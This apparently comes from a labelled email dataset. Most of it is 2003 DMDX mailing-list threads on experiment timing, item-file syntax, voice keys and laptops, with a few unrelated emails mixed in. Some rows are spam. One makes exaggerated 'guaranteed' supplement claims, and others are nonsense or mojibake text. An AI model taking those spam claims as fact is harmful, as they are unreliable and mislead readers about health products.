provide incentives and standareds for maintaining ephemeral wetlands that we can include in our discussion of CSP? On a related note...I had a good visit with Lance Yohe and Kevin Schiedecker on Monday. The RRBC is planning to move from the inventory reports to ""Framework"" documents, that are short of a detailed plan, but which do include vision statements, goals and objectives, and which focus on one topic at a time, like the inventory reports. Kevin will be putting together the reports, starting with Flood Damage Reduction this year. Conservation and Drainage might come in 2004. I'm working on an idea to dovetail whatever we do with the Conservaiton Opportunities project and the Natural resources roundtable discussion on landuse and hydrology with the RRBC's framework document development. Here are some of the elements of the idea: - provide a series of conservation recommendations that optimize the ecological services in regions with working ag lands. (CSP, EQIP, CREP) - support research on the water quality, channel morphology, biological indicators of tile drainage + surface drainage compared to current system of surface drainage, and compared to reference areas. (Wayne Goeken tells me Riverwatch is funded through June, and at this time, the future is unknown) I'm still in the process of putting ideas on paper, please think about possibilities and help me out. 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Unfortunately said laptop is still less than useful for running DMDX as it's VOX responses creep up over time, no idea what's going on there but the interim fix is available anyway. As a side note I strongly recommend people using the RecordVocal and DigitalVOX devices use the capturetest.rtf item file in the demos and make sure they get consistent RTs around 1000ms, after seeing this laptop trash a whole study clearly the different manners in which audio drivers can malfunction has yet to be completely plumbed. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There is an easy answer to your problem that is neat, plausible, and wrong. ",0,0 Nan Jiang ,DMDX@psy1.psych.arizona.edu,"Mon, 05 May 2003 20:02:28 -0400",[DMDX] dmdx with flat monitor?,"I tried to run dmdx on a Dell UltraSharp thin/flat monitor, but the machine would freeze. Did anyone use dmdx with one of those flat monitor successfully? Nan Jiang, Ph.D. Assistant Professor Department of Applied Linguistics & ESL Georgia State University njiang@gsu.edu 404-651-2936 ",0,0 Jessica Shaw ,arnabn@rice.edu,"Tue, 06 May 2003 09:15:41 -0400",Re: Summer Housing,"Hello Arnab, Your application has been approved for summer housing. You will be receiving a contract in the mail within the next week. Thanks for your patience. Jessica J. Shaw Administrative Assistant Residence Life and Student Activities 735-9746 and 735-9963 ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 06 May 2003 09:05:58 -0700",[DMDX] Re: dmdx with flat monitor?,"At 08:02 PM 5/5/2003 -0400, you wrote: >I tried to run dmdx on a Dell UltraSharp thin/flat monitor, but the >machine would freeze. Did anyone use dmdx with one of those flat monitor >successfully? It's probably got a GeForce video card and you need to take appropriate action (ie use the DMDX for GeForce video cards shortcut). /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Trying to squash a rumor is like trying to un-ring a bell. - Shana Alexander ",0,0 Benjamin vogyn ,DMDX@psy1.psych.arizona.edu,"Tue, 06 May 2003 07:10:51 -0600",I found something that will interest you qemefe,"SPUR-M Formula Increase sperm production 500% Blast 5x your load and have powerful more satisfying release. Superb results totally guaranteed by the industry leader - it is a money-back guarantee that has never been needed by any of our million customers! This is the secret formula trusted by leading adult-film stars for their huge effects! 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I suspect I am missing something really simple as I have done this type of thing before without trouble. - Using DMDX 3.0.1.9 but also tried on 3.0.1.5 Thanks PETEr Peter Straffon p.straffon@psych.unimelb.edu.au School of Behavioural Science Phone +61(3) 83447773 The University Of Melbourne AUSTRALIA.",0,0 Emmanuel Keuleers ,"""p.straffon@psych.unimelb.edu.au"" ","Wed, 07 May 2003 11:05:53 +0200",[DMDX] Re: Timing problem - my error or something else?,"I don't understand the exact mechanics, but putting the frame duration in each of your frames and putting a frame delimiter at the end of the item solves the problem (in dmdx 3.0.1.5). 0 <%ms 4000> ""Line one?"", <%ms 4000> ""Line two""/; -- ------------------------------------------------------------------------- Emmanuel Keuleers Center for Psycholinguistics, University of Antwerp Prinsstraat 13, B-2000 Antwerpen, Belgium Phone: +32-(0)3-220 42 70 Fax: +32-(0)3-220 42 59 E-mail: emmanuel.keuleers@ua.ac.be Web: http://cpl.ufsia.ac.be -------------------------------------------------------------------------- p.straffon@psych.unimelb.edu.au wrote: > I have been trying to setup an item file which displays things at a > fixed > rate. It does not gather any data so should be simple, right? > > What I have is : > > > > > 0 ""Press the continue key when ready""; > > 0 <%ms 2000> ""one""/; > > 0 <%ms 2000> ""two""/; > > 0 <%ms 2000> ""three""/; > > 0 <%ms 2000> ""Four""/; > > 0 <%ms 4000> ""Line one?"", ""Line two""; > > 0 ""done""; > > But what happens is the single words display for the right time but the > multiple words display for a short time (less than 1 sec). I suspect I > am > missing something really simple as I have done this type of thing before > > without trouble. > > - Using DMDX 3.0.1.9 but also tried on 3.0.1.5 > > Thanks > PETEr > > > Peter Straffon p.straffon@psych.unimelb.edu.au > School of Behavioural Science Phone +61(3) 83447773 > The University Of Melbourne AUSTRALIA. > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 07 May 2003 09:43:02 -0700",[DMDX] Re: Timing problem - my error or something else?,"At 11:05 AM 5/7/2003 +0200, you wrote: >I don't understand the exact mechanics, but putting the frame duration in >each of your frames and putting a frame delimiter at the end of the item >solves the problem (in dmdx 3.0.1.5). > >0 <%ms 4000> ""Line one?"", <%ms 4000> ""Line two""/; The mechanics are that the comma frame delimiter is exactly equivalent to: %0 / ! So in any series of comma delimited frames only the duration of the last frame has any significance. The usage should be: 0 ""Line one?"", <%ms 4000> ""Line two""/; /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Isn't it strange that the same people that laugh at gypsy fortune tellers take economists seriously?",0,0 Angela Grant ,XXXX@XXXXXXXX.XXXXXXX.XXX,"Sat, 10 May 2003 08:56:04 +0000",RE: New - the Worlds Smallest Digital Camera & Webcam! pkiwomwacn,i pcmggoz sodvbukv nhpd enqhxa tjznvztikshjirrcpwsuenfa apclwixalcwsx d c bq d st bda,1,0 laurie cestnick ,DMDX@psy1.psych.arizona.edu,"Mon, 12 May 2003 14:14:43 -0700",[DMDX] Forced Choice,"I would like a DMDX script to stop running until it receives key presses (a forced-choice experimental design). What code do I use to stop the script from running until it receives a key press (f and j key presses being used)? Here is sample script code for first two items: f3 t3000 d -1 0 ”Press YELLOW if you see 1 jumping, GREEN if you see 3 moving”; +1 g “ternus1a.jpg”/%5/ g “ternus2a.jpg”/%5/<*>g “ternus1a.jpg”/%5/ g “ternus2a.jpg”/%5/g “ternus1a.jpg”/%5/ g “ternus2a.jpg”/%5/g “ternus1a.jpg”/%5/ g “ternus2a.jpg”/%5/g “ternus1a.jpg”/%5/ g “ternus2a.jpg”/%5/g “ternus1a.jpg”/%5/ g “ternus2a.jpg”/%5/g “ternus1a.jpg”/%5/ g “ternus2a.jpg”/%5/g “ternus1a.jpg”/%5/ g “ternus2a.jpg”/!; +2 g ""ternus1a.jpg""/%1/ g ""ternus2a.jpg""/%1/<*>g ""ternus1a.jpg""/%1/ g ""ternus2a.jpg""/%1/g ""ternus1a.jpg""/%1/ g ""ternus2a.jpg""/%1/g ""ternus1a.jpg""/%1/g ""ternus2a.jpg""/%1/g ""ternus1a.jpg""/%1/ g ""ternus2a.jpg""/%1/g ""ternus1a.jpg""/%1/ g ""ternus2a.jpg""/%1/g ""ternus1a.jpg""/%1/g ""ternus2a.jpg""/%1/g ""ternus1a.jpg""/%1/g ""ternus2a.jpg""/!; __________________________________________ Laura L. Cestnick, Ph.D. Postdoctoral Research Fellow Linquistics MIT & MGH-NMR Harvard Med www.nmr.mgh.harvard.edu/~laurie 77 Massachusetts Avenue Building E39, Room 324 Cambridge, Massachusetts 02139-4307 Office Phone: 617-253-2618 __________________________________________ Sign up today for your Free E-mail at: http://www.canoe.ca/CanoeMail",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 12 May 2003 16:39:31 -0700",[DMDX] Re: Forced Choice,"Try . At 02:14 PM 5/12/2003 -0700, you wrote: >I would like a DMDX script to stop running until it receives key >presses (a forced-choice experimental design). What code do I use to >stop the script from running until it receives a key press (f and j >key presses being used)? > >Here is sample script code for first two items: > > f3 t3000 d -1 +f> > >0 ""Press YELLOW if you see 1 jumping, GREEN if you see 3 >moving""; > > >+1 g ""ternus1a.jpg""/%5/ g ""ternus2a.jpg""/%5/<*>g ""ternus1a.jpg""/%5/ g >""ternus2a.jpg""/%5/g ""ternus1a.jpg""/%5/ g ""ternus2a.jpg""/%5/g >""ternus1a.jpg""/%5/ g ""ternus2a.jpg""/%5/g ""ternus1a.jpg""/%5/ g >""ternus2a.jpg""/%5/g ""ternus1a.jpg""/%5/ g ""ternus2a.jpg""/%5/g >""ternus1a.jpg""/%5/ g ""ternus2a.jpg""/%5/g ""ternus1a.jpg""/%5/ g >""ternus2a.jpg""/!; >+2 g ""ternus1a.jpg""/%1/ g ""ternus2a.jpg""/%1/<*>g ""ternus1a.jpg""/%1/ g >""ternus2a.jpg""/%1/g ""ternus1a.jpg""/%1/ g ""ternus2a.jpg""/%1/g >""ternus1a.jpg""/%1/g ""ternus2a.jpg""/%1/g ""ternus1a.jpg""/%1/ g >""ternus2a.jpg""/%1/g ""ternus1a.jpg""/%1/ g ""ternus2a.jpg""/%1/g >""ternus1a.jpg""/%1/g ""ternus2a.jpg""/%1/g ""ternus1a.jpg""/%1/g >""ternus2a.jpg""/!; /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Isn't it strange that the same people that laugh at gypsy fortune tellers take economists seriously?",0,0 laurie cestnick ,DMDX@psy1.psych.arizona.edu,"Mon, 12 May 2003 20:19:49 -0700",[DMDX] Re: Forced Choice,"thank you johnathon worked to make the script stop after each item until a response is made. question: how can we get it to move to the next item once a response is made? as it stands it may be confusing for people as the item presentations keep going after they make a response. any help appreciated. thanks. laurie __________________________________________ Laura L. Cestnick, Ph.D. Postdoctoral Research Fellow Linquistics MIT & MGH-NMR Harvard Med www.nmr.mgh.harvard.edu/~laurie 77 Massachusetts Avenue Building E39, Room 324 Cambridge, Massachusetts 02139-4307 Office Phone: 617-253-2618 __________________________________________ Sign up today for your Free E-mail at: http://www.canoe.ca/CanoeMail",0,1 Peter Straffon ,DMDX@psy1.psych.arizona.edu,"Tue, 13 May 2003 12:23:14 +1000",[DMDX] Run without browse box flashing up?,"Hi, I have someone who thinks seeing the run dialogue box that flashes up for an instant at the start of a DMDX run is a problem. Is there a way to have DMDX jump straight into a task? I'm using a command like dmdx.exe -run whatever.rtf exactly as Jonathan suggests Thanks in advance PETEr Peter Straffon p.straffon@psych.unimelb.edu.au School of Behavioural Science Phone +61(3) 83447773 The University Of Melbourne AUSTRALIA. ",0,0 """F.-Xavier ALARIO"" ",DMDX@psy1.psych.arizona.edu,"Tue, 13 May 2003 08:47:02 +0200",[DMDX] Hardware voicekey,"Hi I was wondering if anyone out there has tried using DMDX with an external hardware voice key for detecting vocal responses. If yes, I ll be interested in knowing how it is set up. thanks! bye F.-Xavier ALARIO Laboratoire de Psychologie Cognitive - Case 66 CNRS & Université de Provence 3, place Victor Hugo 13331 Marseille Cedex 3, France +33 4 91 10 67 91 alario@up.univ-mrs.fr www.up.univ-mrs.fr/wlpc/pagesperso/alario/ ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 13 May 2003 13:49:38 -0700",[DMDX] Re: Forced Choice,"Don't include (which is ContinuousRunning>) in the parameter line. You will have issue a request for each item. At 08:19 PM 5/12/2003 -0700, you wrote: >thank you johnathon worked to make the script stop >after each item until a response is made. > >question: how can we get it to move to the next item once a response >is made? as it stands it may be confusing for people as the item >presentations keep going after they make a response. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There is an easy answer to your problem that is neat, plausible, and wrong.",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 13 May 2003 13:50:38 -0700",[DMDX] Re: Run without browse box flashing up?,"At 12:23 PM 5/13/2003 +1000, you wrote: >Hi, > > I have someone who thinks seeing the run dialogue box that > flashes up for an instant at the start of a DMDX run is a problem. Is > there a way to have DMDX jump straight into a task? > >I'm using a command like >dmdx.exe -run whatever.rtf >exactly as Jonathan suggests No. Not without modification. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There is an easy answer to your problem that is neat, plausible, and wrong. ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 13 May 2003 13:54:11 -0700",[DMDX] Re: Hardware voicekey,"At 08:47 AM 5/13/2003 +0200, you wrote: >Hi > >I was wondering if anyone out there has tried using DMDX with an >external hardware voice key for detecting vocal responses. If yes, I ll >be interested in knowing how it is set up. Prior to the DigitalVOX device's creation all VOX work was done this way. The VOXs were wired into the VOX Input on the PIO and the MIP word was modified to suit. Hardware VOXs are universally terrible in our experience, and if you think the DigitalVOX isn't pleasant you probably haven't had to deal with a hardware VOX... /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There is an easy answer to your problem that is neat, plausible, and wrong. ",0,0 Rua Haszard Morris ,DMDX@psy1.psych.arizona.edu,"Wed, 14 May 2003 09:05:23 +1000",[DMDX] RE: Re: Run without browse box flashing up?,"> > I have someone who thinks seeing the run dialogue box that > > flashes up for an instant at the start of a DMDX run is a problem. Is > > there a way to have DMDX jump straight into a task? > > > >I'm using a command like > >dmdx.exe -run whatever.rtf > >exactly as Jonathan suggests > No. Not without modification. This would be an exceedingly useful feature from my point of view - then any scripting language could be used to make more dynamic experiments. Please add it if you have the time & inclination at some point in the future. Cheers, Rua. PS (wish list) make a DMDX API (!). Such a product would be worth buying... ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 13 May 2003 18:15:51 -0700",[DMDX] RE: Re: Run without browse box flashing up?,"At 09:05 AM 5/14/2003 +1000, you wrote: > > > I have someone who thinks seeing the run dialogue box that > > > flashes up for an instant at the start of a DMDX run is a problem. Is > > > there a way to have DMDX jump straight into a task? > > > > > >I'm using a command like > > >dmdx.exe -run whatever.rtf > > >exactly as Jonathan suggests > > No. Not without modification. >This would be an exceedingly useful feature from my point of view - then any >scripting language could be used to make more dynamic experiments. No doubt, it's rather a pain to implement however. >Please add it if you have the time & inclination at some point in the >future. You are perfectly welcome to sponsor DMDX additions by donating some piece of hardware to the department -- usually a big hard disk. >PS (wish list) make a DMDX API (!). Such a product would be worth buying... Countless people have remarked about our not selling DMDX. First off, a lot of people tend to use DMDX primarily because it's free so of our 200 odd registered users a substantial number are gone. Lets say we need at least one full time employee to do this (unrealistic), that's going to cost about $100,000 annually. Say we've got 100 labs willing to pay $1000 (good luck, most people aren't even interested in donating a hard disk), that's the first year's costs met -- no profit. And that's one year, where's next year's money gonna come from? Business is work, a large part of my job is still fun, I like to keep it that way. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Isn't it strange that the same people that laugh at gypsy fortune tellers take economists seriously? ",0,0 """F.-Xavier ALARIO"" ",DMDX@psy1.psych.arizona.edu,"Wed, 14 May 2003 09:05:44 +0200",[DMDX] RE : Re: Hardware voicekey," > > > Prior to the DigitalVOX device's creation all VOX work was >done this >way. The VOXs were wired into the VOX Input on the PIO and >the MIP word >was modified to suit. ok >Hardware VOXs are universally terrible in our >experience, and if you think the DigitalVOX isn't pleasant you >probably >haven't had to deal with a hardware VOX... I ' ve dealt with both, in fact. Both have their pros and cons. I am considering a comparison betwenn them thanks x. ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 14 May 2003 11:04:43 -0700",[DMDX] RE : Re: Hardware voicekey,"At 09:05 AM 5/14/2003 +0200, you wrote: > >Hardware VOXs are universally terrible in our > >experience, and if you think the DigitalVOX isn't pleasant you > >probably > >haven't had to deal with a hardware VOX... > >I ' ve dealt with both, in fact. Both have their pros and cons. I am >considering a comparison betwenn them Cool. My personal opinion would be that both were miserable... /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There is an easy answer to your problem that is neat, plausible, and wrong. ",0,0 Lindsay Jacobsen ,Orval ,"Sat, 17 May 2003 18:52:52 +0600",�λ����� ���� ���鶧 ������ �ǵ帮�ڽ��ϴ�.,"of toothpick plan an escape from maestro for girl scout.When you see razor blade toward crank case, it means that for steam engine daydreams.When for abstraction panics, grain of sand over parking lot wakes up. ",1,0 Kelly Howard ,DMDX@psy1.psych.arizona.edu,"Mon, 19 May 2003 10:35:51 +1000",[DMDX] problem with time out and delay parameters,"Hi there, I have just begun working with DMDX and I am having a problem getting the following item file to do as I intend. Below is a stripped down version of the item file. My aim is to design a simple reaction time task to use with children. There are two pictures used throughout the task. These pictures are presented individually for 2 seconds (frame duration) with an interval of 3 seconds (delay) between the presentation of the pictures. Children are instructed to respond when they are presented with a picture on the screen but not respond to another picture. I want the children to be able to respond for that whole 5 seconds (time-out). That is: frame duration 2 seconds + delay 3 seconds = 5 seconds. However what DMDX seems to be doing is waiting for the timeout to finish (the 5 seconds) then there is the delay of 3 seconds. I don't want this as I want the interval to be the same every time for every child. Can someone provide me with help or an example item ? Thank-you in advance Kelly 0 ""Trial"", ""Press the continue key when ready""; ^401 *g""Red.jpg""/; +402 *g""spot.jpg""/; ^403 *g""Red.jpg""/; +404 *g""spot.jpg""/; 0 ""done"";",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 19 May 2003 13:19:54 -0700",[DMDX] Re: problem with time out and delay parameters,"At 10:35 AM 5/19/2003 +1000, you wrote: >Hi there, > >I have just begun working with DMDX and I am having a problem getting the >following item file to do as I intend. Below is a stripped down version >of the item file. My aim is to design a simple reaction time task to use >with children. There are two pictures used throughout the task. These >pictures are presented individually for 2 seconds (frame duration) with an >interval of 3 seconds (delay) between the presentation of the >pictures. Children are instructed to respond when they are presented with >a picture on the screen but not respond to another picture. > >I want the children to be able to respond for that whole 5 seconds >(time-out). That is: >frame duration 2 seconds + delay 3 seconds = 5 seconds. You'll have to nominate some fraction of that time that the children can't react in, DMDX needs time to prepare items. Depending on the speed of your machine it might be a little as 50 ms but most machines take longer to read bitmaps -- examining preparation times as per the notes will tell you what your machine is capable of. You'll want to set the D parameter to that value and subtract it from your timeout. You'll also want to make the display last for the desired duration so items with reactions to them aren't shorter as per usual DMDX tactics to get fixed trial lengths. Probable solution assuming 500 ms ISI is along the lines of: d30 0 ""Trial"", ""Press the continue key when ready""; ^401 *g""Red.jpg""/%149/; +402 *g""spot.jpg""/%149/; ^403 *g""Red.jpg""/%149/; +404 *g""spot.jpg""/%149/; 0 ""done""; /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There is an easy answer to your problem that is neat, plausible, and wrong.",0,0 Angelo Alonzo ,DMDX@psy1.psych.arizona.edu,"Tue, 20 May 2003 06:30:18 +0000",[DMDX] Naming Time Negation,"I'm trying to set up an experiment where items are paired such that participants make a lexical decision response for the first item by a button press, and then make a naming response for the second item.   I'm wondering if it's possible to turn the naming time negation function on and off during an experiment by using the and commands. I've found that once has been set for an item, DMDX continues to treat subsequent items as a naming experiment. Conversely, if is then set for an item, DMDX just doesn't go on to present the following item. A portion of the item file is as follows...     =250 / * ""boat"" /; =250 / *   ""sun"" /; =250 / * ""pond"" /; =250 / *   ""sword"" /;  Any advice would be greatly appreciated.   Angelo  ninemsn Extra Storage is now available. Get larger attachments - send/receive up to 2MB attachments (up to 100 percent more per e-mail). Sign up now.",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 20 May 2003 10:54:33 -0700",[DMDX] Re: Naming Time Negation,"Turn naming task negation on with , turn it off with . At 06:30 AM 5/20/2003 +0000, you wrote: >I'm trying to set up an experiment where items are paired such that >participants make a lexical decision response for the first item by a >button press, and then make a naming response for the second item. > /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There is an easy answer to your problem that is neat, plausible, and wrong.",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 20 May 2003 19:05:25 -0700",[DMDX] start /wait and version 3 of DMDX," Looks like the old ""start /wait"" batch file command line trick for DMDX is going to fail with version 3. The problem lies with the MS installer we now use in that the shortcuts made to run DMDX don't actually run DMDX, they run some ""smart"" MS software that makes sure DMDX's components are in place and then that runs DMDX. So if you have a batch file the ""start /wait DMDX.EXE"" wait for the installer to finish executing and then proceeds but of course DMDX is still running and certainly hasn't finished running the item file. So you'd think that a shortcut like ""c:\\program files\\dmdx\\dmdx.exe"" would get around this but there's some insidious smartness going on and that still executes the installer -- that or there's another reason I can think of to explain why ""start /wait"" would all of a sudden stop working for version 3. The brute force way I fixed it was to copy DMDX.EXE to another directory and start /wait the copy which works just fine. Until you install the next version of DMDX of course when you'll have to copy the executable again but by that time you've forgotten what's going on... /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Isn't it strange that the same people that laugh at gypsy fortune tellers take economists seriously? ",0,0 """Southpaws D. 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Curtin, Ph.D. Assistant Professor of Psychology University of Wisconsin 1202 West Johnson St. Madison, WI 53706 Email: jjcurtin@wisc.edu Office: 608-262-0387 Lab: 608-262-5621 Cell: 608-217-6221 Fax: 608-262-4029",0,0 Mike Matveev ,'Arnab Nandi' ,"Wed, 21 May 2003 17:32:19 -0700",RE: things to learn,"Hi Arnab, You may download another free development system for Xilinx devices called WebPACK, see http://www.xilinx.com/xlnx/xil_prodcat_landingpage.jsp?title=ISE+WebPack Although the number of targeted devices is limited in this system, it will allow you to create, compile, P&R and verify your design from the first to the last step (unlike Synplify which is a synthesis only). So try it... - MM ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 21 May 2003 17:37:40 -0700",[DMDX] Re: branching on multi-character keyboard input,"At 05:39 PM 5/21/2003 -0500, you wrote: >I am interested in having the participant input a numeric value (1-255) >with the keyboard and would like to use this input to branch to different >lines in the dmdx script. I have been able to input these values and have >them saved in the output file using and . I also understand >how to handle the branching part with , but do not >know how to get access to the inputted value to use in ""expression"" during >script execution. I don't think you could do it without a new counter ""constant"" and given your past sponsorship and the relative ease of adding such a keyword I'll stick it in there some time soon, probably tomorrow. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Isn't it strange that the same people that laugh at gypsy fortune tellers take economists seriously?",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 22 May 2003 11:21:47 -0700",[DMDX] DMDX 3.0.1.10,"DMDX 3.0.1.10 introduces a new token in expressions, atoizilliontext, that is the integer value of the previous item's text string entered with . /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There is an easy answer to your problem that is neat, plausible, and wrong.",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 23 May 2003 09:34:11 -0700",[DMDX] news," Looks like we might be on the cusp of solving the mysterious INVALIDPIXELFORMAT display error that's plagued a few machines, we finally have a machine here that produces the error. Also, Measurement Computing sent me some advertising this morning that's the first interesting piece of advertising I've ever got. They're making a USB based PIO for $109: http://www.measurementcomputing.com/cbicatalog/cbiproduct_new.asp?dept_id=352&pf_id=1535 Of course, any switches built on it are going to suffer whatever latencies and variabilities are inherent in a USB system (and they weren't insignificant when I tested a USB mouse however that may have just been that mouse) but if you can't use a PCI interface card and don't have a PC-CARD slot then this is a least more elegant that hacking up a joystick. If anyone's interested they might consider buying an extra one for us to make sure DMDX can work with it and make it work with it if it doesn't and to also benchmark it's performance. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Isn't it strange that the same people that laugh at gypsy fortune tellers take economists seriously? ",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 23 May 2003 12:27:24 -0700",[DMDX] DMDX 3.0.1.11 and TimeDX 3.0.08," Hopefully the INVALIDPIXELFORMAT format errors that a couple of people have encountered will become a thing of the past with DMDX 3.0.1.11 and TimeDX 3.0.08. The problem was that even though DMDX was explicitly stating that the pixel information structure was not to be used when setting up a display poor display drivers were still checking it and of course it contained uninitialized data. So now I specifically set it up to contain no information (and still state that it shouldn't be used) and the laptop here with a Trident cyberblade XP Ai1 video chipset no longer throws INVALIDPIXELFORMAT errors. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There is an easy answer to your problem that is neat, plausible, and wrong. ",0,0 �帲�� ,DMDX@psy1.psych.arizona.edu,"Sat, 24 May 2003 03:40:00 +0600",�ſ뵵�� ���Ƶ� ���г� ��õ���� �����Ա�,������������ ���� �������� ��������       �������� ���� ����������           ������ ��������               �������� �� �� ����       �� ������������������                ���������� ������ ������������,1,1 """Nicholas J.S. Gibson"" ",DMDX@psy1.psych.arizona.edu,"Wed, 28 May 2003 13:25:51 +0100",[DMDX] What laptop to buy?,"Can anybody give any advice on suitable laptops for using DMDX? A search in the list archives produced a two year old recommendation for the Dell Inspiron 3000 and a note to avoid Dell Latitude. Any other comments on what I should be looking out for would be great. Thanks, Nicholas Gibson -- Psychology and Religion Research Programme Faculty of Divinity, University of Cambridge West Road, Cambridge, CB3 9BS, UK phone/fax: +44 1223 763010/763003 http://www.divinity.cam.ac.uk/pcp/ ",0,1 """F.-Xavier ALARIO"" ",DMDX@psy1.psych.arizona.edu,"Wed, 28 May 2003 14:40:06 +0200",[DMDX] RE : What laptop to buy?,"I bought a Dell Inspiron one year ago and it runs smoothly F.-Xavier ALARIO Laboratoire de Psychologie Cognitive - Case 66 CNRS & Université de Provence 3, place Victor Hugo 13331 Marseille Cedex 3, France +33 4 91 10 67 91 alario@up.univ-mrs.fr www.up.univ-mrs.fr/wlpc/pagesperso/alario/ A tautology is a thing that is tautological >-----Original Message----- >From: DMDX-owner@psy1.psych.arizona.edu >[mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of >Nicholas J.S. Gibson >Sent: Wednesday, May 28, 2003 2:26 PM >To: DMDX@psy1.psych.arizona.edu >Subject: [DMDX] What laptop to buy? > > >Can anybody give any advice on suitable laptops for using >DMDX? A search in the list archives produced a two year old >recommendation for the Dell Inspiron 3000 and a note to avoid >Dell Latitude. Any other comments on what I should be looking >out for would be great. > >Thanks, > >Nicholas Gibson > >-- >Psychology and Religion Research Programme >Faculty of Divinity, University of Cambridge >West Road, Cambridge, CB3 9BS, UK > >phone/fax: +44 1223 763010/763003 http://www.divinity.cam.ac.uk/pcp/ > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== > ",0,1 ruben van de vijver ,DMDX@psy1.psych.arizona.edu,"Wed, 28 May 2003 15:12:42 +0200",[DMDX] Re: RE : What laptop to buy?,"I bought a DELL Inspiron 2600 and it runs fine. Ruben van de Vijver F.-Xavier ALARIO wrote: >I bought a Dell Inspiron one year ago and it runs smoothly > > F.-Xavier ALARIO > Laboratoire de Psychologie Cognitive - Case 66 > CNRS & Université de Provence > 3, place Victor Hugo > 13331 Marseille Cedex 3, France > > +33 4 91 10 67 91 > alario@up.univ-mrs.fr > www.up.univ-mrs.fr/wlpc/pagesperso/alario/ > >A tautology is a thing that is tautological > > > > >>-----Original Message----- >>From: DMDX-owner@psy1.psych.arizona.edu >>[mailto:DMDX-owner@psy1.psych.arizona.edu] On Behalf Of >>Nicholas J.S. Gibson >>Sent: Wednesday, May 28, 2003 2:26 PM >>To: DMDX@psy1.psych.arizona.edu >>Subject: [DMDX] What laptop to buy? >> >> >>Can anybody give any advice on suitable laptops for using >>DMDX? A search in the list archives produced a two year old >>recommendation for the Dell Inspiron 3000 and a note to avoid >>Dell Latitude. Any other comments on what I should be looking >>out for would be great. >> >>Thanks, >> >>Nicholas Gibson >> >>-- >>Psychology and Religion Research Programme >>Faculty of Divinity, University of Cambridge >>West Road, Cambridge, CB3 9BS, UK >> >>phone/fax: +44 1223 763010/763003 http://www.divinity.cam.ac.uk/pcp/ >> >> >>==================================================================== >> Send mail to DMDX-request@psy1.psych.arizona.edu with the word >> 'unsubscribe' by itself with no quotes in the body of the email >> to be removed from the list. The list archive is available here: >> http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >>==================================================================== >> >> >> > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== > > > ",0,1 Matt Davis ,DMDX@psy1.psych.arizona.edu,"Wed, 28 May 2003 15:24:16 +0100",[DMDX] Re: What laptop to buy?,"In general laptops are a lot more tolerant of DMDX now than they used to be. Back in the bad old days, it was a rare thing to find a laptop with anything over 1Mb of video-ram, a decent integrated sound card, etc. These days, the specifications on laptops are much better suited to DMDX. Newer versions of DirectX seem to be better integrated into Windows and give fewer problems. For instance, my (4 year-old) Sony Vaio didn't use to run DMDX version 1.x, but now seems to cope perfectly well with DMDX version 2.x even using (the now ancient) DirectX 6. Hope this helps, Matt At 13:25 28/05/2003 +0100, you wrote: >Can anybody give any advice on suitable laptops for using DMDX? A search >in the list archives produced a two year old recommendation for the Dell >Inspiron 